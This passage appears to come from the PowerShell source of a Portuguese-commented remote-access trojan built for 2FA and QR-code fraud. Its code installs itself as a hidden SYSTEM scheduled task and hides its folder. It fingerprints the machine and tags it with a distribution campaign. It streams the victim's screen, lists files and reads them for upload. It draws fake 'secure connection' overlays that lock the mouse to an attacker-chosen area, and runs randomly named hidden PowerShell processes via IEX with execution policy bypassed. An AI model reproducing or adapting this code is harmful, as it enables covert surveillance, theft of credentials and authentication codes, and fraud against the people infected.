New-ScheduledTaskTrigger -AtStartup $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -Hidden $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null # Proteger pasta SYSTEM (maximo) try { # 1. ACL: apenas SYSTEM e Admins $acl = Get-Acl $installPath $acl.SetAccessRuleProtection($true, $false) $acl.Access | ForEach-Object { $acl.RemoveAccessRule($_) } | Out-Null $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) $acl.AddAccessRule((New-Object Security.AccessControl.FileSystemAccessRule("Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow"))) Set-Acl $installPath $acl # 2. Atributos: Hidden + System (invisivel no Explorer) $dirItem = Get-Item $installPath -Force $dirItem.Attributes = $dirItem.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System # 3. Esconder arquivos individuais tambem Get-ChildItem $installPath -Force -EA 0 | ForEach-Object { $_.Attributes = $_.Attributes -bor [IO.FileAttributes]::Hidden -bor [IO.FileAttributes]::System } } catch {} # Iniciar task AGORA Start-ScheduledTask -TaskName $taskName -EA SilentlyContinue # Verificar se criou $task = Get-ScheduledTask -TaskName $taskName -EA SilentlyContinue return ($null -ne $task) } catch { return $false } } # Funcao para solicitar elevacao UAC (abre nova janela pedindo Admin) function Request-Elevation { param([string]$ScriptPath) # Simplesmente chamar Request-UACAndInstallService que ja esta atualizada return (Request-UACAndInstallService -ScriptPath $ScriptPath) } function Get-SystemInfo { # GARANTIR que token existe (pode n?o existir se executado via ScriptBlock::Create) if (-not $script:InstallToken -or $script:InstallToken.Length -lt 32) { $script:InstallToken = Get-OrCreateInstallToken $script:TokenProof = Get-TokenProof -Token $script:InstallToken } $os = Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue $scr = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $guid = $null try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} if (!$guid) { try { $guid = (Get-ItemProperty "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Cryptography" -Name MachineGuid -EA Stop).MachineGuid } catch {} } if (!$guid) { $guid = "$env:COMPUTERNAME-$env:USERNAME" } # Coletar IP IPv4 real ? prioriza adaptador com gateway (= acesso real a rede) $ips = @() try { $allAdapters = Get-CimInstance Win32_NetworkAdapterConfiguration -EA SilentlyContinue | Where-Object { $_.IPEnabled -and $_.IPAddress } # 1a tentativa: adaptador com gateway configurado (interface com acesso a internet) $withGateway = $allAdapters | Where-Object { $_.DefaultIPGateway -and $_.DefaultIPGateway.Count -gt 0 } $ips = $withGateway | ForEach-Object { $_.IPAddress } | Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' -and $_ -notmatch '^127\.' -and $_ -notmatch '^169\.254\.' -and $_ -ne '0.0.0.0' } # 2a tentativa: qualquer adaptador fisico (sem virtuais pelo Description) if (-not $ips -or $ips.Count -eq 0) { $ips = $allAdapters | Where-Object { $_.Description -notmatch 'VMware|VirtualBox|Hyper-V|Virtual|TAP|Loopback|Bluetooth|Teredo|isatap|Pseudo|6TO4|Wi-Fi Direct|Miniport' } | ForEach-Object { $_.IPAddress } | Where-Object { $_ -match '^\d+\.\d+\.\d+\.\d+$' -and $_ -notmatch '^127\.' -and $_ -notmatch '^169\.254\.' -and $_ -ne '0.0.0.0' } } } catch {} # Fallback final: Get-NetIPAddress if (-not $ips -or $ips.Count -eq 0) { try { $ips = Get-NetIPAddress -AddressFamily IPv4 -EA SilentlyContinue | Where-Object { $_.IPAddress -notmatch '^127\.' -and $_.IPAddress -notmatch '^169\.254\.' -and $_.InterfaceAlias -notmatch 'Loopback|VMware|VirtualBox|Hyper-V|vEthernet|Teredo|isatap|TAP|Bluetooth|Wi-Fi Direct' } | ForEach-Object { $_.IPAddress } } catch {} } # Coletar MAC Address $mac = "" try { $mac = (Get-NetAdapter | Where-Object { $_.Status -eq 'Up' } | Select-Object -First 1).MacAddress } catch {} # Coletar info de CPU/RAM $cpu = "" $ram = "" try { $cpu = (Get-CimInstance Win32_Processor -EA SilentlyContinue | Select-Object -First 1).Name $totalRam = [Math]::Round((Get-CimInstance Win32_ComputerSystem -EA SilentlyContinue).TotalPhysicalMemory / 1GB, 1) $ram = "${totalRam} GB" } catch {} # Detectar tipo de elevacao: System, Admin ou User $elevationType = "User" try { $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($currentUser) $isAdmin = $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) # Verificar se e SYSTEM (NT AUTHORITY\SYSTEM) if ($currentUser.Name -eq "NT AUTHORITY\SYSTEM" -or $currentUser.User.Value -eq "S-1-5-18") { $elevationType = "System" } elseif ($isAdmin) { $elevationType = "Admin" } } catch { $elevationType = "User" } return @{ MachineGuid = $guid MachineName = $env:COMPUTERNAME MachineDomain = $env:USERDOMAIN LoggedOnUserName = $env:USERNAME LoggedOnUserDomain = $env:USERDOMAIN OperatingSystemName = $os.Caption OperatingSystemVersion = $os.Version ScreenWidth = $scr.Width ScreenHeight = $scr.Height ClientVersion = $Config.Version PcSpeed = $script:PerfConfig.PcSpeed TargetFps = $script:PerfConfig.TargetFps LocalIPs = $ips -join ", " MacAddress = $mac CPU = $cpu RAM = $ram InstallToken = $script:InstallToken TokenProof = $script:TokenProof ElevationType = $elevationType Campaign = $script:Campaign ActiveState = @{ OverlayActive = [bool]$script:OverlayActive OverlayMode = [int]$script:PreviousOverlayMode InputBlocked = [bool]$script:InputPaused } } } # Pre-carregar encoder JPEG e criar objetos reutilizaveis $script:JpegEncoder = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.MimeType -eq 'image/jpeg' } $script:ScreenBounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $script:MemStream = New-Object System.IO.MemoryStream(786432) # 768KB ? suporta 1440p sem realocacao $script:EncoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) $script:EncoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter([System.Drawing.Imaging.Encoder]::Quality, [long]25) # === CONFIGURACOES OTIMIZADAS PARA BAIXO DELAY === $script:PerfConfig = @{ Quality = 25 # Streaming: qualidade baixa = frames menores = menos delay FrameInterval = 6 # 166 FPS maximo teorico PcSpeed = "High" # Fixo TargetFps = 60 # Streaming target StreamingQuality = 25 # OTIMIZADO: era 35, agora 25 (frames ~40% menores) } # Streaming on-demand: server controla quando enviar screenshots # true = viewer ativo, enviar frames. false = ninguem assistindo, economizar CPU/rede $script:StreamingEnabled = $true # Default true - server pode desativar quando nao tem viewer # === SCREENSHOT OVERLAY - Variaveis de controle === $script:ScreenshotActive = $false $script:ScreenshotProcess = $null $script:ScreenshotTempResult = $null $script:ScreenshotStartTime = $null $script:WasOverlayActive = $false $script:PreviousOverlayMode = 0 # ?????????????????????????????????????????????????????????????????????????? # ??? CAMPANHA - Mude este valor antes de distribuir cada campanha # ?????????????????????????????????????????????????????????????????????????? # Exemplos: "ADS", "EMAIL", "SOCIAL", "YT", "CAMP01", "GERAL" $script:Campaign = "2FA" # =============================================================================== # DETECCAO BALANCEADA DE QR CODE - FUNCIONA DE VERDADE # =============================================================================== # ============================================================================== # CROP SCREEN - Mesma estrutura da tela de captura # Tira print, escurece, deixa area marcada CLARA com BURACO para interagir # ============================================================================== # Variavel global para controlar o form de crop $script:CropForm = $null $script:CropActive = $false function Show-CropScreen { param( [int]$CropX, [int]$CropY, [int]$CropW, [int]$CropH, [string]$Message = "" ) # Fechar crop anterior se existir if ($script:CropForm -ne $null) { try { $script:CropForm.Close() } catch {} $script:CropForm = $null } # Obter informacoes do monitor selecionado $selectedMon = Get-SelectedMonitor $monX = $selectedMon.X $monY = $selectedMon.Y $monW = $selectedMon.Width $monH = $selectedMon.Height # Obter VirtualScreen (todos os monitores) $vs = [System.Windows.Forms.SystemInformation]::VirtualScreen $vsX = $vs.X $vsY = $vs.Y $vsW = $vs.Width $vsH = $vs.Height # Calcular posicao absoluta do buraco (coordenadas absolutas de tela) $holeAbsX = $monX + $CropX $holeAbsY = $monY + $CropY # Calcular posicao do buraco relativa ao VirtualScreen (para o form) $holeRelX = $holeAbsX - $vsX $holeRelY = $holeAbsY - $vsY # Validar tamanho do crop if ($CropW -lt 50) { $CropW = 50 } if ($CropH -lt 50) { $CropH = 50 } if ($CropX + $CropW -gt $monW) { $CropW = $monW - $CropX } if ($CropY + $CropH -gt $monH) { $CropH = $monH - $CropY } $cropCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # DPI AWARENESS - CRITICO para coordenadas precisas! Add-Type @' using System; using System.Runtime.InteropServices; public class DpiHelper { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int awareness); } '@ try { [DpiHelper]::SetProcessDpiAwareness(2) } catch {} # API para prender mouse e forcar topmost Add-Type @' using System; using System.Runtime.InteropServices; public class CropAPI { [DllImport("user32.dll")] public static extern bool ClipCursor(ref RECT lpRect); [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [StructLayout(LayoutKind.Sequential)] public struct RECT { public int Left, Top, Right, Bottom; } public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); } '@ # Parametros do VirtualScreen `$vsX = $vsX `$vsY = $vsY `$vsW = $vsW `$vsH = $vsH # Parametros do buraco (relativo ao VirtualScreen) `$holeRelX = $holeRelX `$holeRelY = $holeRelY `$holeW = $CropW `$holeH = $CropH # Parametros do buraco (absolutos para ClipCursor) `$holeAbsX = $holeAbsX `$holeAbsY = $holeAbsY `$cropMessage = "$($Message -replace '"','\"' -replace "'","''")" # 1. Tirar screenshot de TODOS os monitores (VirtualScreen) `$screenshot = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$screenshot) `$g.CopyFromScreen(`$vsX, `$vsY, 0, 0, (New-Object System.Drawing.Size(`$vsW, `$vsH))) `$g.Dispose() # 2. Criar overlay com BLUR + escurecimento `$overlay = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$overlay) # Blur maximo: triplo downscale 1/64 (impossivel reconhecer) `$tinyW = [Math]::Max(1, [int](`$vsW / 64)) `$tinyH = [Math]::Max(1, [int](`$vsH / 64)) `$tiny = New-Object System.Drawing.Bitmap(`$tinyW, `$tinyH) `$gt = [System.Drawing.Graphics]::FromImage(`$tiny) `$gt.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gt.DrawImage(`$screenshot, 0, 0, `$tinyW, `$tinyH) `$gt.Dispose() # Ampliar de volta (blur extremo) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g.DrawImage(`$tiny, 0, 0, `$vsW, `$vsH) `$tiny.Dispose() # Repetir: pegar o resultado borrado e borrar de novo `$pass2W = [Math]::Max(1, [int](`$vsW / 32)) `$pass2H = [Math]::Max(1, [int](`$vsH / 32)) `$pass2 = New-Object System.Drawing.Bitmap(`$pass2W, `$pass2H) `$gp = [System.Drawing.Graphics]::FromImage(`$pass2) `$gp.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gp.DrawImage(`$overlay, 0, 0, `$pass2W, `$pass2H) `$gp.Dispose() `$g2 = [System.Drawing.Graphics]::FromImage(`$overlay) `$g2.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g2.DrawImage(`$pass2, 0, 0, `$vsW, `$vsH) `$g2.Dispose() `$pass2.Dispose() # Leve escurecimento (so para dar contraste, nao preto) `$darkBrush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(60, 0, 0, 0)) `$g.FillRectangle(`$darkBrush, 0, 0, `$vsW, `$vsH) # === BANNER DE SEGURANCA acima do recorte === if (`$cropMessage -and `$cropMessage.Length -gt 0) { `$g.SmoothingMode = [System.Drawing.Drawing2D.SmoothingMode]::AntiAlias `$g.TextRenderingHint = [System.Drawing.Text.TextRenderingHint]::ClearTypeGridFit `$headerH = 70 `$pad = 20 `$boxW = `$holeW + (`$pad * 2) `$boxH = `$headerH + `$holeH + (`$pad * 2) if (`$boxW -lt 400) { `$boxW = 400 } # Centralizar box ao redor do hole `$boxX = `$holeRelX + (`$holeW / 2) - (`$boxW / 2) `$boxY = `$holeRelY - `$headerH - `$pad if (`$boxX -lt 5) { `$boxX = 5 } if (`$boxY -lt 5) { `$boxY = 5 } # Recalcular hole para ficar centralizado dentro do box `$holeRelX = `$boxX + (`$boxW - `$holeW) / 2 `$holeRelY = `$boxY + `$headerH + `$pad # ===== FUNDO BRANCO DO BOX INTEIRO (opaco, cobre o blur) ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== HEADER ESCURO por cima do branco ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 25, 32, 48))), `$boxX, `$boxY, `$boxW, `$headerH) # ===== BORDA VERDE ao redor do box inteiro ===== `$g.DrawRectangle((New-Object System.Drawing.Pen([System.Drawing.Color]::FromArgb(255, 34, 197, 94), 3)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== ESCUDO verde ===== `$sx = `$boxX + 18 `$sy = `$boxY + 14 `$sw = 36; `$sh = 44 `$sp = New-Object System.Drawing.Drawing2D.GraphicsPath `$sp.AddLine((`$sx + `$sw/2), `$sy, (`$sx + `$sw), (`$sy + `$sh * 0.28)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.28), (`$sx + `$sw), (`$sy + `$sh * 0.55)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.55), (`$sx + `$sw/2), (`$sy + `$sh)) `$sp.AddLine((`$sx + `$sw/2), (`$sy + `$sh), `$sx, (`$sy + `$sh * 0.55)) `$sp.AddLine(`$sx, (`$sy + `$sh * 0.55), `$sx, (`$sy + `$sh * 0.28)) `$sp.CloseFigure() `$sGrad = New-Object System.Drawing.Drawing2D.LinearGradientBrush( (New-Object System.Drawing.Point(`$sx, `$sy)), (New-Object System.Drawing.Point(`$sx, (`$sy + `$sh))), [System.Drawing.Color]::FromArgb(255, 34, 197, 94), [System.Drawing.Color]::FromArgb(255, 21, 128, 61)) `$g.FillPath(`$sGrad, `$sp) `$ck = New-Object System.Drawing.Pen([System.Drawing.Color]::White, 3.5) `$ck.StartCap = [System.Drawing.Drawing2D.LineCap]::Round `$ck.EndCap = [System.Drawing.Drawing2D.LineCap]::Round `$g.DrawLine(`$ck, (`$sx + 10), (`$sy + `$sh * 0.5), (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7)) `$g.DrawLine(`$ck, (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7), (`$sx + `$sw - 8), (`$sy + `$sh * 0.28)) # ===== TEXTOS ===== `$tx = `$boxX + 66 `$g.DrawString(`$cropMessage, (New-Object System.Drawing.Font("Segoe UI", 15, [System.Drawing.FontStyle]::Bold)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$tx, (`$boxY + 14)) `$g.DrawString("Conexao segura ? Dados criptografados", (New-Object System.Drawing.Font("Segoe UI", 10)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 107, 200, 143))), `$tx, (`$boxY + 42)) } `$g.Dispose() `$screenshot.Dispose() # 3. Criar form fullscreen cobrindo todos monitores `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.Location = New-Object System.Drawing.Point(`$vsX, `$vsY) `$form.Size = New-Object System.Drawing.Size(`$vsW, `$vsH) `$form.TopMost = `$true `$form.BackgroundImage = `$overlay `$form.BackgroundImageLayout = 'None' `$form.ShowInTaskbar = `$false # 4. CRIAR REGIAO COM BURACO apenas no monitor selecionado `$fullRegion = New-Object System.Drawing.Region(New-Object System.Drawing.Rectangle(0, 0, `$vsW, `$vsH)) `$holeRect = New-Object System.Drawing.Rectangle(`$holeRelX, `$holeRelY, `$holeW, `$holeH) `$fullRegion.Exclude(`$holeRect) `$form.Region = `$fullRegion # 5. Timer para manter TopMost `$timer = New-Object System.Windows.Forms.Timer `$timer.Interval = 500 `$timer.Add_Tick({ try { `$form.TopMost = `$true [CropAPI]::SetWindowPos(`$form.Handle, [CropAPI]::HWND_TOPMOST, 0, 0, 0, 0, 0x0003) } catch {} }) `$timer.Start() # 6. Prender mouse na area do buraco (recalculado) `$holeAbsFinalX = `$vsX + `$holeRelX `$holeAbsFinalY = `$vsY + `$holeRelY `$form.Add_Shown({ `$rect = New-Object CropAPI+RECT `$rect.Left = `$holeAbsFinalX `$rect.Top = `$holeAbsFinalY `$rect.Right = `$holeAbsFinalX + `$holeW `$rect.Bottom = `$holeAbsFinalY + `$holeH [CropAPI]::ClipCursor([ref]`$rect) [CropAPI]::SetForegroundWindow(`$form.Handle) [CropAPI]::BringWindowToTop(`$form.Handle) }) `$form.Add_FormClosed({ `$timer.Stop() [CropAPI]::ClipCursor([IntPtr]::Zero) }) [System.Windows.Forms.Application]::Run(`$form) "@ # Executar em processo separado para nao bloquear (nome polimorfico) $scriptPath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).txt" $cropCode | Out-File -FilePath $scriptPath -Encoding UTF8 $script:CropProcess = Start-Process powershell.exe -ArgumentList "-NoP -EP Bypass -W Hidden -c `"IEX (gc '$scriptPath' -Raw)`"" -WindowStyle Hidden -PassThru $script:CropActive = $true return "Crop screen active" } function Stop-CropScreen { $script:CropActive = $false # Liberar mouse try { Add-Type @' using System; using System.Runtime.InteropServices; public class MouseRelease { [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); } '@ [MouseRelease]::ClipCursor([IntPtr]::Zero) } catch {} # Matar processo do crop if ($script:CropProcess -ne $null) { try { $script:CropProcess.Kill() $script:CropProcess = $null } catch {} } # Matar qualquer processo PowerShell com crop_ Get-Process powershell* -ErrorAction SilentlyContinue | ForEach-Object { try { $cmdLine = (Get-WmiObject Win32_Process -Filter "ProcessId=$($_.Id)" -ErrorAction SilentlyContinue).CommandLine if ($cmdLine -like "*crop_*") { $_.Kill() } } catch {} } return "Crop stopped" } # Adicionar detector de QR robusto usando algoritmo proprio com deteccao de finder patterns try { Add-Type -TypeDefinition @' using System; using System.Drawing; using System.Drawing.Imaging; using System.Collections.Generic; public class QRDetectionResult { public bool Success { get; set; } public string Text { get; set; } public float X { get; set; } public float Y { get; set; } public float Width { get; set; } public float Height { get; set; } } public class QRDetector { // Detectar QR e retornar coordenadas precisas do bounding box public static QRDetectionResult DetectAndDecode(Bitmap bitmap) { var result = new QRDetectionResult { Success = false }; try { int width = bitmap.Width; int height = bitmap.Height; // Converter para grayscale para analise byte[,] gray = new byte[width, height]; BitmapData bmpData = bitmap.LockBits( new Rectangle(0, 0, width, height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb ); unsafe { byte* ptr = (byte*)bmpData.Scan0; int stride = bmpData.Stride; for (int y = 0; y < height; y++) { for (int x = 0; x < width; x++) { int offset = y * stride + x * 4; byte b = ptr[offset]; byte g = ptr[offset + 1]; byte r = ptr[offset + 2]; gray[x, y] = (byte)((r * 299 + g * 587 + b * 114) / 1000); } } } bitmap.UnlockBits(bmpData); // Encontrar finder patterns (os 3 quadrados caracteristicos do QR) List finderCenters = FindFinderPatterns(gray, width, height); if (finderCenters.Count >= 3) { // Calcular bounding box dos 3 finder patterns int minX = int.MaxValue, minY = int.MaxValue; int maxX = int.MinValue, maxY = int.MinValue; foreach (var p in finderCenters) { if (p.X < minX) minX = p.X; if (p.Y < minY) minY = p.Y; if (p.X > maxX) maxX = p.X; if (p.Y > maxY) maxY = p.Y; } // Os finder patterns estao nos cantos, entao o QR tem tamanho um pouco maior // Expandir ~15% para cada lado para pegar o QR completo int patternSize = Math.Max(maxX - minX, maxY - minY); int moduleSize = patternSize / 21; // QR v1 tem 21 modulos if (moduleSize < 3) moduleSize = 3; int expand = moduleSize * 4; // ~4 modulos de margem int qrX = minX - expand; int qrY = minY - expand; int qrSize = patternSize + expand * 2; // Garantir limites qrX = Math.Max(0, qrX); qrY = Math.Max(0, qrY); if (qrX + qrSize > width) qrSize = width - qrX; if (qrY + qrSize > height) qrSize = height - qrY; // Forcar quadrado int finalSize = Math.Min(qrSize, Math.Min(width - qrX, height - qrY)); result.X = qrX; result.Y = qrY; result.Width = finalSize; result.Height = finalSize; // Tentar decodificar o conteudo (algoritmo simplificado) // Na pratica, enviamos para o servidor decodificar com jsQR result.Text = "QR_DETECTED_" + finderCenters.Count + "_PATTERNS"; result.Success = true; } } catch (Exception ex) { result.Success = false; } return result; } private static List FindFinderPatterns(byte[,] gray, int width, int height) { var patterns = new List(); int step = 8; // Passo de varredura int patternMinSize = 20; int patternMaxSize = 200; // Varrer a imagem procurando finder patterns for (int y = patternMinSize; y < height - patternMinSize; y += step) { for (int x = patternMinSize; x < width - patternMinSize; x += step) { // Verificar se ha um finder pattern nesta posicao int patternSize = CheckFinderPattern(gray, x, y, width, height); if (patternSize >= patternMinSize && patternSize <= patternMaxSize) { // Verificar se nao esta muito proximo de outro ja encontrado bool tooClose = false; foreach (var p in patterns) { int dx = Math.Abs(p.X - x); int dy = Math.Abs(p.Y - y); if (dx < patternMinSize && dy < patternMinSize) { tooClose = true; break; } } if (!tooClose) { patterns.Add(new Point(x, y)); } } } } return patterns; } private static int CheckFinderPattern(byte[,] gray, int cx, int cy, int width, int height) { // Finder pattern tem proporcao 1:1:3:1:1 (preto:branco:preto:branco:preto) // Verificar horizontal e vertical int[] horizRuns = CountRuns(gray, cx - 40, cy, 80, true, width, height); int[] vertRuns = CountRuns(gray, cx, cy - 40, 80, false, width, height); // Verificar se segue o padrao aproximado 1:1:3:1:1 if (horizRuns != null && horizRuns.Length >= 5 && IsValidPattern(horizRuns)) { if (vertRuns != null && vertRuns.Length >= 5 && IsValidPattern(vertRuns)) { // Calcular tamanho estimado do pattern int totalRun = horizRuns[0] + horizRuns[1] + horizRuns[2] + horizRuns[3] + horizRuns[4]; return totalRun; } } return 0; } private static int[] CountRuns(byte[,] gray, int startX, int startY, int length, bool horizontal, int width, int height) { var runs = new List(); int threshold = 128; int runLength = 0; bool lastBlack = false; bool first = true; for (int i = 0; i < length; i++) { int x = horizontal ? startX + i : startX; int y = horizontal ? startY : startY + i; if (x < 0 || x >= width || y < 0 || y >= height) continue; bool isBlack = gray[x, y] < threshold; if (first) { lastBlack = isBlack; first = false; runLength = 1; } else if (isBlack == lastBlack) { runLength++; } else { runs.Add(runLength); runLength = 1; lastBlack = isBlack; } } if (runLength > 0) runs.Add(runLength); return runs.ToArray(); } private static bool IsValidPattern(int[] runs) { if (runs.Length < 5) return false; // Procurar sequencia que segue padrao 1:1:3:1:1 for (int i = 0; i <= runs.Length - 5; i++) { float unit = (runs[i] + runs[i+1] + runs[i+2] + runs[i+3] + runs[i+4]) / 7.0f; if (unit < 3) continue; // Verificar proporcoes com tolerancia bool valid = runs[i] >= unit * 0.5 && runs[i] <= unit * 1.5 && // 1 runs[i+1] >= unit * 0.5 && runs[i+1] <= unit * 1.5 && // 1 runs[i+2] >= unit * 2.0 && runs[i+2] <= unit * 4.0 && // 3 runs[i+3] >= unit * 0.5 && runs[i+3] <= unit * 1.5 && // 1 runs[i+4] >= unit * 0.5 && runs[i+4] <= unit * 1.5; // 1 if (valid) return true; } return false; } } '@ -ReferencedAssemblies 'System.Drawing' -CompilerParameters @{CompilerOptions='/unsafe'} -ErrorAction SilentlyContinue } catch { # QRDetector nao compilou - funcionalidade QR sera limitada } # Hash do ultimo QR para evitar duplicatas $script:LastQRContentHash = "" # OTIMIZADO: Detect-QRSimple DESABILITADO (use Tela Fake no lugar) # Removido ~300 linhas de c?digo de detec??o autom?tica de QR # Bitmap e Graphics reutilizaveis (evitar New-Object a cada frame = menos GC pressure) $script:_captureBitmap = $null $script:_captureGraphics = $null $script:_captureSize = $null $script:_captureW = 0 $script:_captureH = 0 # ??????????????????????????????????????????????????????????????????????????????? # CAPTURA DE V?DEO - DXGI (PRIM?RIO) vs BitBlt (FALLBACK) # ??????????????????????????????????????????????????????????????????????????????? function Get-Screenshot { try { # Cache do monitor (atualizado no loop principal a cada 100ms) $w = $script:_monW; $h = $script:_monH; $x = $script:_monX; $y = $script:_monY if (-not $w -or $w -eq 0) { $mon = Get-SelectedMonitor $w = $mon.Width; $h = $mon.Height; $x = $mon.X; $y = $mon.Y $script:_monW = $w; $script:_monH = $h; $script:_monX = $x; $script:_monY = $y } # Reusar bitmap/graphics se tamanho nao mudou (sem alocacao por frame) if ($w -ne $script:_captureW -or $h -ne $script:_captureH -or $null -eq $script:_captureBitmap) { if ($script:_captureGraphics) { try { $script:_captureGraphics.Dispose() } catch {} } if ($script:_captureBitmap) { try { $script:_captureBitmap.Dispose() } catch {} } $script:_captureW = $w $script:_captureH = $h $script:_captureSize = New-Object System.Drawing.Size($w, $h) # PixelFormat 24bpp e mais rapido para JPEG (sem canal alpha) $script:_captureBitmap = New-Object System.Drawing.Bitmap($w, $h, [System.Drawing.Imaging.PixelFormat]::Format24bppRgb) $script:_captureGraphics = [System.Drawing.Graphics]::FromImage($script:_captureBitmap) $script:_captureGraphics.CompositingMode = [System.Drawing.Drawing2D.CompositingMode]::SourceCopy $script:_captureGraphics.CompositingQuality = [System.Drawing.Drawing2D.CompositingQuality]::HighSpeed $script:_captureGraphics.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::NearestNeighbor } # Capturar tela (CopyFromScreen - zero alocacao por frame) $script:_captureGraphics.CopyFromScreen($x, $y, 0, 0, $script:_captureSize) # Comprimir JPEG reutilizando MemStream $script:MemStream.SetLength(0) $script:_captureBitmap.Save($script:MemStream, $script:JpegEncoder, $script:EncoderParams) return $script:MemStream.ToArray() } catch { return $null } } function Get-FileList { param([string]$Path) try { $items = @() if (!$Path -or $Path -eq '/' -or $Path -eq '') { Get-PSDrive -PSProvider FileSystem -EA SilentlyContinue | ForEach-Object { $items += @{ Name = "$($_.Name):"; Type = "drive"; Size = 0 } } } else { $Path = $Path.TrimEnd('\') + '\' if (Test-Path $Path) { Get-ChildItem -Path $Path -Force -EA SilentlyContinue | Sort-Object { !$_.PSIsContainer }, Name | ForEach-Object { $type = if ($_.PSIsContainer) { "folder" } else { "file" } $size = if ($_.PSIsContainer) { 0 } else { try { $_.Length } catch { 0 } } $items += @{ Name = $_.Name; Type = $type; Size = $size } } } } return @{ Path = $Path; Items = $items; Error = $null } } catch { return @{ Path = $Path; Items = @(); Error = $_.ToString() } } } function Get-FileData { param([string]$FilePath) try { if (Test-Path $FilePath -PathType Leaf) { $fileInfo = Get-Item $FilePath # Limite de 50MB para nao crashar o processo if ($fileInfo.Length -gt 52428800) { return @{ FileName = $fileInfo.Name; Data = $null; Size = $fileInfo.Length; Error = "Arquivo muito grande (max 50MB)" } } $bytes = [System.IO.File]::ReadAllBytes($FilePath) return @{ FileName = $fileInfo.Name; Data = [Convert]::ToBase64String($bytes); Size = $bytes.Length } } return $null } catch { return $null } } # ??????????????????????????????????????????????????????????????????????????????? # ?? SCREENSHOT OVERLAY - Tela fake fullscreen com Input e Bot?o # ??????????????????????????????????????????????????????????????????????????????? function Show-ScreenshotOverlay { param( [string]$ImageBase64, [int]$ImageWidth = 0, [int]$ImageHeight = 0, [int]$InputX = 0, [int]$InputY = 0, [int]$InputW = 0, [int]$InputH = 0, [int]$ButtonX = 0, [int]$ButtonY = 0, [int]$ButtonW = 0, [int]$ButtonH = 0, [int]$QRX = 0, [int]$QRY = 0, [int]$QRW = 0, [int]$QRH = 0 ) if (!$ImageBase64 -or $ImageBase64.Length -lt 100) { return "" } # Prefixo unico derivado do polimorfismo (primeiros 8 chars do svcname) $pfx = $__identity.SvcName.Substring(0, [Math]::Min(8, $__identity.SvcName.Length)) # Limpar arquivos antigos try { Get-ChildItem "C:\Windows\Temp\$pfx*" -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -lt (Get-Date).AddMinutes(-5) } | Remove-Item -Force -ErrorAction SilentlyContinue } catch {} $base64Clean = $ImageBase64 -replace '^data:image/[^;]+;base64,', '' $rnd = [guid]::NewGuid().ToString("N").Substring(0, 8) $tempImg = "C:\Windows\Temp\$pfx$rnd.png" $tempResult = "C:\Windows\Temp\${pfx}r$rnd.txt" $tempScript = "C:\Windows\Temp\$pfx$rnd.ps1" try { [System.IO.File]::WriteAllBytes($tempImg, [System.Convert]::FromBase64String($base64Clean)) } catch { return "" } # Construir blocos condicionais ANTES de gerar o script $qrBlock = "" if ($QRW -gt 0 -and $QRH -gt 0) { $qrBlock = @" # QR Transparente - buraco na janela `$qx = `$ox + [int]($QRX * `$scaleX) `$qy = `$oy + [int]($QRY * `$scaleY) `$qw = [Math]::Max(1, [int]($QRW * `$scaleX)) `$qh = [Math]::Max(1, [int]($QRH * `$scaleY)) `$rgn = New-Object 